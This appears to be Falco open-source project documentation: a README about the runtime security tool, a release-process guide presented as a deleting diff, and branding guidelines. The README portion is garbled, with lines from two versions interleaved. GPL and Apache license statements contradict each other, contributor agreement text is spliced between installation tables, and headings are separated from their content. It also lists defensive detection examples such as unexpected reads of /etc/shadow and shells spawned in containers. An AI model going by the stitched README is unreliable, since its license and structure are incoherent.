- A non-device file is written to `/dev`
- A standard system binary (like `ls`) makes an outbound network connection
- Common query parameters:
#### How Falco Compares to Other Security Tools like SELinux, Auditd, etc.
color=#300aec7
style=flat-square
label=Falco
One of the questions we often get when we talk about Sysdig Falco is “How does it compare to other tools like SELinux, AppArmor, Auditd, etc. that also have security policies?”. We wrote a [blog post](https://sysdig.com/blog/selinux-seccomp-falco-technical-discussion/) comparing Falco to other tools.
- DEB packages parameters:
url=https://falco-distribution.s3-eu-west-1.amazonaws.com/?prefix=packages/deb/stable/falco-
query=substring-before(substring-after((/*[name()='ListBucketResult']/*[name()='Contents'])[last()]/*[name()='Key'],"falco-"),".asc")
- RPM packages parameters:
url=https://falco-distribution.s3-eu-west-1.amazonaws.com/?prefix=packages/rpm/falco-
query=substring-before(substring-after((/*[name()='ListBucketResult']/*[name()='Contents'])[last()]/*[name()='Key'],"falco-"),".asc")
- BIN packages parameters:
url=https://falco-distribution.s3-eu-west-1.amazonaws.com/?prefix=packages/bin/x86_64/falco-
query=substring-after((/*[name()='ListBucketResult']/*[name()='Contents'])[last()]/*[name()='Key'], "falco-")
Notes:
- if more than 1000 items are present under as S3 prefix,
the actual latest package will be not picked;
see https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html
- for `-dev` packages, the S3 prefix is modified accordingly
- finally, all parameters are URL encoded and appended to the badge endpoint
-->
| | development | stable |
|--------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| rpm-x86_64 | [![rpm-dev](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Frpm-dev%2Ffalco-%26delimiter=aarch64)][1] | [![rpm](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Frpm%2Ffalco-%26delimiter=aarch64)][2] |
| deb-x86_64 | [![deb-dev](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fdeb-dev%2Fstable%2Ffalco-%26delimiter=aarch64)][3] | [![deb](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fdeb%2Fstable%2Ffalco-%26delimiter=aarch64)][4] |
| binary-x86_64 | [![bin-dev](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%20%22falco-%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fbin-dev%2Fx86_64%2Ffalco-)][5] | [![bin](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%20%22falco-%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fbin%2Fx86_64%2Ffalco-)][6] |
| rpm-aarch64 | [![rpm-dev](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Frpm-dev%2Ffalco-%26delimiter=x86_64)][1] | [![rpm](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Frpm%2Ffalco-%26delimiter=x86_64)][2] |
| deb-aarch64 | [![deb-dev](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fdeb-dev%2Fstable%2Ffalco-%26delimiter=x86_64)][3] | [![deb](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fdeb%2Fstable%2Ffalco-%26delimiter=x86_64)][4] |
| binary-aarch64 | [![bin-dev](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%20%22falco-%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fbin-dev%2Faarch64%2Ffalco-)][7] | [![bin](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%20%22falco-%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fbin%2Faarch64%2Ffalco-)][8] |
Documentation
---
[Visit the wiki](https://github.com/draios/falco/wiki) for full documentation on falco.
The Falco Project, originally created by [Sysdig](https://sysdig.com), is an incubating [CNCF](https://cncf.io) open source cloud native runtime security tool.
Falco makes it easy to consume kernel events, and enrich those events with information from Kubernetes and the rest of the cloud native stack.
Falco can also be extended to other data sources by using plugins.
Falco has a rich set of security rules specifically built for Kubernetes, Linux, and cloud-native.
If a rule is violated in a system, Falco will send an alert notifying the user of the violation and its severity.
Join the Community
---
* Follow us on [Twitter](https://twitter.com/sysdig) for general falco and sysdig news.
* This is our [blog](https://sysdig.com/blog/), where you can find the latest [falco](https://sysdig.com/blog/tag/falco/) posts.
* Join our [Public Slack](https://slack.sysdig.com) channel for sysdig and falco announcements and discussions.
## What can Falco detect?
License Terms
---
Falco is licensed to you under the [GPL 2.0](./COPYING) open source license.
Falco can detect and alert on any behavior that involves making Linux system calls.
Falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process.
For example, Falco can easily detect incidents including but not limited to:
In addition, as a special exception, the copyright holders give permission to link the code of portions of this program with the OpenSSL library under certain conditions as described in each individual source file, and distribute linked combinations including the two.
- A shell is running inside a container or pod in Kubernetes.
- A container is running in privileged mode, or is mounting a sensitive path, such as `/proc`, from the host.
- A server process is spawning a child process of an unexpected type.
- Unexpected read of a sensitive file, such as `/etc/shadow`.
- A non-device file is written to `/dev`.
- A standard system binary, such as `ls`, is making an outbound network connection.
- A privileged pod is started in a Kubernetes cluster.
You must obey the GNU General Public License in all respects for all of the code used other than OpenSSL. If you modify file(s) with this exception, you may extend this exception to your version of the file(s), but you are not obligated to do so. If you do not wish to do so, delete this exception statement from your version.
## Installing Falco
Contributor License Agreements
---
### Background
As we did for sysdig, we are formalizing the way that we accept contributions of code from the contributing community. We must now ask that contributions to falco be provided subject to the terms and conditions of a [Contributor License Agreement (CLA)](./cla). The CLA comes in two forms, applicable to contributions by individuals, or by legal entities such as corporations and their employees. We recognize that entering into a CLA with us involves real consideration on your part, and weve tried to make this process as clear and simple as possible.
If you would like to run Falco in **production** please adhere to the [official installation guide](https://falco.org/docs/getting-started/installation/).
Weve modeled our CLA off of industry standards, such as [the CLA used by Kubernetes](https://github.com/kubernetes/kubernetes/blob/master/CONTRIBUTING.md). Note that this agreement is not a transfer of copyright ownership, this simply is a license agreement for contributions, intended to clarify the intellectual property license granted with contributions from any person or entity. It is for your protection as a contributor as well as the protection of falco; it does not change your rights to use your own contributions for any other purpose.
### Kubernetes
For some background on why contributor license agreements are necessary, you can read FAQs from many other open source projects:
| Tool | Link | Note |
|----------|--------------------------------------------------------------------------------------------|--------------------------------------------------------------------|
| Helm | [Chart Repository](https://github.com/falcosecurity/charts/tree/master/falco#introduction) | The Falco community offers regular helm chart releases. |
| Minikube | [Tutorial](https://falco.org/docs/getting-started/third-party/#minikube) | The Falco driver has been baked into minikube for easy deployment. |
| Kind | [Tutorial](https://falco.org/docs/getting-started/third-party/#kind) | Running Falco with kind requires a driver on the host system. |
| GKE | [Tutorial](https://falco.org/docs/getting-started/third-party/#gke) | We suggest using the eBPF driver for running Falco on GKE. |
- [Djangos excellent CLA FAQ](https://www.djangoproject.com/foundation/cla/faq/)
- [A well-written chapter from Karl Fogels Producing Open Source Software on CLAs](http://producingoss.com/en/copyright-assignment.html)
- [The Wikipedia article on CLAs](http://en.wikipedia.org/wiki/Contributor_license_agreement)
## Developing
As always, we are grateful for your past and present contributions to falco.
Falco is designed to be extensible such that it can be built into cloud-native applications and infrastructure.
### What do I need to do in order to contribute code?
Falco has a [gRPC](https://falco.org/docs/grpc/) endpoint and an API defined in [protobuf](https://github.com/falcosecurity/falco/blob/master/userspace/falco/outputs.proto).
The Falco Project supports various SDKs for this endpoint.
**Individual contributions**: Individuals who wish to make contributions must review the [Individual Contributor License Agreement](./cla/falco_contributor_agreement.txt) and indicate agreement by adding the following line to every GIT commit message:
### SDKs
```
falco-CLA-1.0-signed-off-by: Joe Smith <joe.smith@email.com>
```
| Language | Repository |
|----------|---------------------------------------------------------|
| Go | [client-go](https://github.com/falcosecurity/client-go) |
Use your real name; pseudonyms or anonymous contributions are not allowed.
## Plugins
**Corporate contributions**: Employees of corporations, members of LLCs or LLPs, or others acting on behalf of a contributing entity, must review the [Corporate Contributor License Agreement](./cla/falco_corp_contributor_agreement.txt), must be an authorized representative of the contributing entity, and indicate agreement to it on behalf of the contributing entity by adding the following lines to every GIT commit message:
Falco comes with a [plugin framework](https://falco.org/docs/plugins/) that extends it to potentially any cloud detection scenario. Plugins are shared libraries that conform to a documented API and allow for:
```
falco-CLA-1.0-contributing-entity: Full Legal Name of Entity
falco-CLA-1.0-signed-off-by: Joe Smith <joe.smith@email.com>
```
- Adding new event sources that can be used in rules;
- Adding the ability to define new fields and extract information from events.
Use a real name of a natural person who is an authorized representative of the contributing entity; pseudonyms or anonymous contributions are not allowed.
The Falco Project maintains [various plugins](https://github.com/falcosecurity/plugins) and provides SDKs for plugin development.
**Government contributions**: Employees or officers of the United States Government, must review the [Government Contributor License Agreement](https://github.com/draios/falco/blob/dev/cla/falco_govt_contributor_agreement.txt), must be an authorized representative of the contributing entity, and indicate agreement to it on behalf of the contributing entity by adding the following lines to every GIT commit message:
```
falco-CLA-1.0-contributing-govt-entity: Full Legal Name of Entity
falco-CLA-1.0-signed-off-by: Joe Smith <joe.smith@email.com>
This file is a work of authorship of an employee or officer of the United States Government and is not subject to copyright in the United States under 17 USC 105.
```
### SDKs
| Language | Repository |
|----------|-------------------------------------------------------------------------------|
| Go | [falcosecurity/plugin-sdk-go](https://github.com/falcosecurity/plugin-sdk-go) |
## Documentation
The [Official Documentation](https://falco.org/docs/) is the best resource to learn about Falco.
## Join the Community
To get involved with The Falco Project please visit [the community repository](https://github.com/falcosecurity/community) to find more.
How to reach out?
- Join the [#falco](https://kubernetes.slack.com/messages/falco) channel on the [Kubernetes Slack](https://slack.k8s.io)
- [Join the Falco mailing list](https://lists.cncf.io/g/cncf-falco-dev)
- [Read the Falco documentation](https://falco.org/docs/)
## How to contribute
See the [contributing guide](https://github.com/falcosecurity/.github/blob/main/CONTRIBUTING.md) and the [code of conduct](https://github.com/falcosecurity/evolution/CODE_OF_CONDUCT.md).
## Security Audit
A third party security audit was performed by Cure53, you can see the full report [here](./audits/SECURITY_AUDIT_2019_07.pdf).
## Reporting security vulnerabilities
Please report security vulnerabilities following the community process documented [here](https://github.com/falcosecurity/.github/blob/main/SECURITY.md).
## License
Falco is licensed to you under the [Apache 2.0](./COPYING) open source license.
## Project Evolution
The [falcosecurity/evolution](https://github.com/falcosecurity/evolution) repository is the official space for the community to work together, discuss ideas, and document processes. It is also a place to make decisions. Check it out to find more helpful resources.
## Resources
- [Governance](https://github.com/falcosecurity/evolution/blob/main/GOVERNANCE.md)
- [Code Of Conduct](https://github.com/falcosecurity/evolution/blob/main/CODE_OF_CONDUCT.md)
- [Maintainers Guidelines](https://github.com/falcosecurity/evolution/blob/main/MAINTAINERS_GUIDELINES.md)
- [Maintainers List](https://github.com/falcosecurity/evolution/blob/main/MAINTAINERS.md)
- [Repositories Guidelines](https://github.com/falcosecurity/evolution/blob/main/REPOSITORIES.md)
- [Repositories List](https://github.com/falcosecurity/evolution/blob/main/README.md#repositories)
- [Adopters List](https://github.com/falcosecurity/falco/blob/master/ADOPTERS.md)
[1]: https://download.falco.org/?prefix=packages/rpm-dev/
[2]: https://download.falco.org/?prefix=packages/rpm/
[3]: https://download.falco.org/?prefix=packages/deb-dev/stable/
[4]: https://download.falco.org/?prefix=packages/deb/stable/
[5]: https://download.falco.org/?prefix=packages/bin-dev/x86_64/
[6]: https://download.falco.org/?prefix=packages/bin/x86_64/
[7]: https://download.falco.org/?prefix=packages/bin-dev/aarch64/
[8]: https://download.falco.org/?prefix=packages/bin/aarch64/
Use a real name of a natural person who is an authorized representative of the contributing entity; pseudonyms or anonymous contributions are not allowed.

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@@ -1,218 +0,0 @@
# Falco Release Process
## Overview
This document provides the process to create a new Falco release. In addition, it provides information about the versioning of the Falco components. At a high level each Falco release consists of the following main components:
- Falco binary (userspace)
- Falco kernel driver object files (kernel space)
- Option 1: Kernel module (`.ko` files)
- Option 2: eBPF (`.o` files)
- Falco config and primary rules `.yaml` files (userspace)
- Falco plugins (userspace - optional)
One nice trait about releasing separate artifacts for userspace and kernel space is that Falco is amenable to supporting a large array of environments, that is, multiple kernel versions, distros and architectures (see `libs` [driver - kernel version support matrix](https://github.com/falcosecurity/libs#drivers-officially-supported-architectures)). The Falco project manages the release of both the Falco userspace binary and pre-compiled Falco kernel drivers for the most popular kernel versions and distros. The build and publish process is managed by the [test-infra](https://github.com/falcosecurity/test-infra) repo. The Falco userspace executable includes bundled dependencies, so that it can be run from anywhere.
The Falco project also publishes all sources for each component. In fact, sources are included in the Falco release in the same way as some plugins (k8saudit and cloudtrail) as well as the rules that are shipped together with Falco. This empowers the end user to audit the integrity of the project as well as build kernel drivers for custom kernels or not officially supported kernels / distros (see [driverkit](https://github.com/falcosecurity/driverkit) for more information). While the Falco project is deeply embedded into an ecosystem of supporting [Falco sub-projects](https://github.com/falcosecurity/evolution) that aim to make the deployment of Falco easy, user-friendly, extendible and cloud-native, core Falco is split across two repos, [falco](https://github.com/falcosecurity/falco) (this repo) and [libs](https://github.com/falcosecurity/libs). The `libs` repo contains >90% of Falco's core features and is the home of each of the kernel drivers and engines. More details are provided in the [Falco Components Versioning](#falco-components-versioning) section.
Finally, the release process follows a transparent process described in more detail in the following sections and the official [Falco docs](https://falco.org/) contain rich information around building, installing and using Falco.
### Falco Binaries, Rules and Sources Artifacts - Quick Links
The Falco project publishes all sources and the Falco userspace binaries as GitHub releases. Rules are also released in the GitHub tree Falco release tag.
- [Falco Releases](https://github.com/falcosecurity/falco/releases)
- `tgz`, `rpm` and `deb` Falco binary packages (contains sources, including driver sources, Falco rules as well as k8saudit and cloudtrail plugins)
- `tgz`, `zip` source code
- [Libs Releases](https://github.com/falcosecurity/libs/releases)
- `tgz`, `zip` source code
- Falco Rules (GitHub tree approach)
- RELEASE="x.y.z", `https://github.com/falcosecurity/falco/tree/${RELEASE}/rules`
Alternatively Falco binaries or plugins can be downloaded from the Falco Artifacts repo.
- [Falco Artifacts Repo Packages Root](https://download.falco.org/?prefix=packages/)
- [Falco Artifacts Repo Plugins Root](https://download.falco.org/?prefix=plugins/)
### Falco Drivers Artifacts Repo - Quick Links
The Falco project publishes all drivers for each release for all popular kernel versions / distros and `x86_64` and `aarch64` architectures to the Falco project managed Artifacts repo. The Artifacts repo follows standard directory level conventions. The respective driver object file is prefixed by distro and named / versioned by kernel release - `$(uname -r)`. Pre-compiled drivers are released with a [best effort](https://github.com/falcosecurity/falco/blob/master/proposals/20200818-artifacts-storage.md#notice) notice. This is because gcc (`kmod`) and clang (`bpf`) compilers or for example the eBPF verifier are not perfect. More details around driver versioning and driver compatibility are provided in the [Falco Components Versioning](#falco-components-versioning) section. Short preview: If you use the standard Falco setup leveraging driver-loader, [driver-loader script](https://github.com/falcosecurity/falco/blob/master/scripts/falco-driver-loader) will fetch the kernel space artifact (object file) corresponding to the default `DRIVER_VERSION` Falco was shipped with.
- [Falco Artifacts Repo Drivers Root](https://download.falco.org/?prefix=driver/)
- Option 1: Kernel module (`.ko` files) - all under same driver version directory
- Option 2: eBPF (`.o` files) - all under same driver version directory
### Timeline
Falco releases are due to happen 3 times per year. Our current schedule sees a new release by the end of January, May, and September each year. Hotfix releases can happen whenever it's needed.
Changes and new features are grouped in [milestones](https://github.com/falcosecurity/falco/milestones), the milestone with the next version represents what is going to be released.
### Procedures
The release process is mostly automated requiring only a few manual steps to initiate and complete it.
Moreover, we need to assign owners for each release (usually we pair a new person with an experienced one). Assignees and the due date are proposed during the [weekly community call](https://github.com/falcosecurity/community).
At a high level each Falco release needs to follow a pre-determined sequencing of releases and build order:
- [1 - 3] `libs` (+ `driver`) and `plugins` components releases
- [4] Falco driver pre-compiled object files push to Falco's Artifacts repo
- [5] Falco userspace binary + rules release
Finally, on the proposed due date the assignees for the upcoming release proceed with the processes described below.
## Pre-Release Checklist
Prior to cutting a release the following preparatory steps should take 5 minutes using the GitHub UI.
### 1. Release notes
- Find the previous release date (`YYYY-MM-DD`) by looking at the [Falco releases](https://github.com/falcosecurity/falco/releases)
- Check the release note block of every PR matching the `is:pr is:merged closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+closed%3A%3EYYYY-MM-DD)
- Ensure the release note block follows the [commit convention](https://github.com/falcosecurity/.github/blob/master/CONTRIBUTING.md#commit-convention), otherwise fix its content
- If the PR has no milestone, assign it to the milestone currently undergoing release
- Check issues without a milestone (using `is:pr is:merged no:milestone closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYY-MM-DD) ) and add them to the milestone currently undergoing release
- Double-check that there are no more merged PRs without the target milestone assigned with the `is:pr is:merged no:milestone closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYY-MM-DD), if any, update those missing
### 2. Milestones
- Move the [tasks not completed](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Aopen) to a new minor milestone
### 3. Release PR
- Double-check if any hard-coded version number is present in the code, it should be not present anywhere:
- If any, manually correct it then open an issue to automate version number bumping later
- Versions table in the `README.md` updates itself automatically
- Generate the change log using [rn2md](https://github.com/leodido/rn2md):
- Execute `rn2md -o falcosecurity -m <version> -r falco`
- In case `rn2md` emits error try to generate an GitHub OAuth access token and provide it with the `-t` flag
- Add the latest changes on top the previous `CHANGELOG.md`
- Submit a PR with the above modifications
- Await PR approval
- Close the completed milestone as soon as the PR is merged
## Release
Now assume `x.y.z` is the new version.
### 1. Create a tag
- Once the release PR has got merged, and the CI has done its job on the master, git tag the new release
```
git pull
git checkout master
git tag x.y.z
git push origin x.y.z
```
> **N.B.**: do NOT use an annotated tag. For reference https://git-scm.com/book/en/v2/Git-Basics-Tagging
- Wait for the CI to complete
### 2. Update the GitHub release
- [Draft a new release](https://github.com/falcosecurity/falco/releases/new)
- Use `x.y.z` both as tag version and release title
- Use the following template to fill the release description:
```
<!-- Substitute x.y.z with the current release version -->
| Packages | Download |
| -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| rpm-x86_64 | [![rpm](https://img.shields.io/badge/Falco-x.y.z-%2300aec7?style=flat-square)](https://download.falco.org/packages/rpm/falco-x.y.z-x86_64.rpm) |
| deb-x86_64 | [![deb](https://img.shields.io/badge/Falco-x.y.z-%2300aec7?style=flat-square)](https://download.falco.org/packages/deb/stable/falco-x.y.z-x86_64.deb) |
| tgz-x86_64 | [![tgz](https://img.shields.io/badge/Falco-x.y.z-%2300aec7?style=flat-square)](https://download.falco.org/packages/bin/x86_64/falco-x.y.z-x86_64.tar.gz) |
| rpm-aarch64 | [![rpm](https://img.shields.io/badge/Falco-x.y.z-%2300aec7?style=flat-square)](https://download.falco.org/packages/rpm/falco-x.y.z-aarch64.rpm) |
| deb-aarch64 | [![deb](https://img.shields.io/badge/Falco-x.y.z-%2300aec7?style=flat-square)](https://download.falco.org/packages/deb/stable/falco-x.y.z-aarch64.deb) |
| tgz-aarch64 | [![tgz](https://img.shields.io/badge/Falco-x.y.z-%2300aec7?style=flat-square)](https://download.falco.org/packages/bin/aarch64/falco-x.y.z-aarch64.tar.gz) |
| Images |
| --------------------------------------------------------------------------- |
| `docker pull docker.io/falcosecurity/falco:x.y.z` |
| `docker pull public.ecr.aws/falcosecurity/falco:x.y.z` |
| `docker pull docker.io/falcosecurity/falco-driver-loader:x.y.z` |
| `docker pull docker.io/falcosecurity/falco-no-driver:x.y.z` |
<changelog>
<!-- Substitute <changelog> with the one generated by [rn2md](https://github.com/leodido/rn2md) -->
### Statistics
| Merged PRs | Number |
| --------------- | ------ |
| Not user-facing | x |
| Release note | x |
| Total | x |
<!-- Calculate stats and fill the above table -->
#### Release Manager <github handle>
<!-- Substitute GitHub handle with the release manager's one -->
```
- Finally, publish the release!
### 3. Update the meeting notes
For each release we archive the meeting notes in git for historical purposes.
- The notes from the Falco meetings can be [found here](https://hackmd.io/3qYPnZPUQLGKCzR14va_qg).
- Note: There may be other notes from working groups that can optionally be added as well as needed.
- Add the entire content of the document to a new file in [github.com/falcosecurity/community/tree/master/meeting-notes](https://github.com/falcosecurity/community/tree/master/meeting-notes) as a new file labeled `release-x.y.z.md`
- Open up a pull request with the new change.
## Post-Release tasks
Announce the new release to the world!
- Publish a blog on [Falco website](https://github.com/falcosecurity/falco-website) ([example](https://github.com/falcosecurity/falco-website/blob/master/content/en/blog/falco-0-28-1.md))
- Send an announcement to cncf-falco-dev@lists.cncf.io (plain text, please)
- Let folks in the slack #falco channel know about a new release came out
- IFF the on going release introduces a **new minor version**, [archive a snapshot of the Falco website](https://github.com/falcosecurity/falco-website/blob/master/release.md#documentation-versioning)
## Falco Components Versioning
This section provides more details around the versioning of all components that make up core Falco. It can also be a useful guide for the uninitiated to be more informed about Falco's source. Because the `libs` repo contains >90% of Falco's core features and is the home of each of the kernel drivers and engines, the [libs release doc](https://github.com/falcosecurity/libs/blob/master/release.md) is an excellent additional resource. In addition, the [plugins release doc](https://github.com/falcosecurity/plugins/blob/master/release.md) provides similar details around Falco's plugins. `SHA256` checksums are provided throughout Falco's source code to empower the end user to perform integrity checks. All Falco releases also contain the sources as part of the packages.
### Falco repo (this repo)
- Falco version is a git tag (`x.y.z`), see [Procedures](#procedures) section. Note that the Falco version is a sem-ver-like schema, but not fully compatible with sem-ver.
- [FALCO_ENGINE_VERSION](https://github.com/falcosecurity/falco/blob/master/userspace/engine/falco_engine_version.h) is not sem-ver and must be bumped either when a backward incompatible change has been introduced to the rules files syntax or `falco --list -N | sha256sum` has changed. Breaking changes introduced in the Falco engine are not necessarily tied to the drivers or libs versions. The primary idea behind the hash is that when new filter / display fields (see currently supported [Falco fields](https://falco.org/docs/rules/supported-fields/)) are introduced a version bump indicates that this field was not available in previous engine versions. In case a new Falco rule uses new fields, the [Falco rules](https://github.com/falcosecurity/falco/blob/master/rules/falco_rules.yaml) file needs to bump this version as well via setting `required_engine_version` to the new version.
- During development and release preparation, libs and driver reference commits are often bumped in Falco's cmake setup ([falcosecurity-libs cmake](https://github.com/falcosecurity/falco/blob/master/cmake/modules/falcosecurity-libs.cmake#L30) and [driver cmake](https://github.com/falcosecurity/falco/blob/master/cmake/modules/driver.cmake#L29)) in order to merge new Falco features. In practice they are mostly bumped at the same time referencing the same `libs` commit. However, for the official Falco build `FALCOSECURITY_LIBS_VERSION` flag that references the stable Libs version is used (read below).
- Similarly, Falco plugins versions are bumped in Falco's cmake setup ([plugins cmake](https://github.com/falcosecurity/falco/blob/master/cmake/modules/plugins.cmake)) and those versions are the ones used for the Falco release.
- At release time Plugin, Libs and Driver versions are compatible with Falco.
- If you use the standard Falco setup leveraging driver-loader, [driver-loader script](https://github.com/falcosecurity/falco/blob/master/scripts/falco-driver-loader) will fetch the kernel space artifact (object file) corresponding to the default `DRIVER_VERSION` Falco was shipped with (read more below under Libs).
```
Falco version: x.y.z (sem-ver like)
Libs version: x.y.z (sem-ver like)
Plugin API: x.y.z (sem-ver like)
Driver:
API version: x.y.z (sem-ver)
Schema version: x.y.z (sem-ver)
Default driver: x.y.z+driver (sem-ver like, indirectly encodes compatibility range in addition to default version Falco is shipped with)
```
### Libs repo
- Libs version is a git tag (`x.y.z`) and when building Falco the libs version is set via the `FALCOSECURITY_LIBS_VERSION` flag (see above).
- Driver version in and of itself is not directly tied to the Falco binary as opposed to the libs version being part of the source code used to compile Falco's userspace binary. This is because of the strict separation between userspace and kernel space artifacts, so things become a bit more interesting here. This is why the concept of a `Default driver` has been introduced to still implicitly declare the compatible driver versions. For example, if the default driver version is `2.0.0+driver`, Falco works with all driver versions >= 2.0.0 and < 3.0.0. This is a consequence of how the driver version is constructed starting from the `Driver API version` and `Driver Schema version`. Driver API and Schema versions are explained in the respective [libs driver doc](https://github.com/falcosecurity/libs/blob/master/driver/README.VERSION.md) -> Falco's `driver-loader` will always fetch the default driver, therefore a Falco release is always "shipped" with the driver version corresponding to the default driver.
- See [libs release doc](https://github.com/falcosecurity/libs/blob/master/release.md) for more information.
### Plugins repo
- Plugins version is a git tag (`x.y.z`)
- See [plugins release doc](https://github.com/falcosecurity/plugins/blob/master/release.md) for more information.

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<p align="center"><img src="primary-logo.png" width="360"></p>
<p align="center"><b>Cloud Native Runtime Security.</b></p>
# Falco Branding Guidelines
This document describes The Falco Project's branding guidelines, language, and message.
Content in this document can be used to publicly share about Falco.
### Logo
There are 3 logos available for use in this directory. Use the primary logo unless required otherwise due to background issues, or printing.
The Falco logo is Apache 2 licensed and free to use in media and publication for the CNCF Falco project.
### Colors
| Name | PMS | RGB |
|-----------|------|-------------|
| Teal | 3125 | 0 174 199 |
| Cool Gray | 11 | 83 86 90 |
| Black | | 0 0 0 |
| Blue-Gray | 7700 | 22 92 125 |
| Gold | 1375 | 255 158 27 |
| Orange | 171 | 255 92 57 |
| Emerald | 3278 | 0 155 119 |
| Green | 360 | 108 194 74 |
The primary colors are those in the first two rows.
### Slogan
> Cloud Native Runtime Security
### What is Falco?
Falco is a runtime security project originally created by Sysdig, Inc.
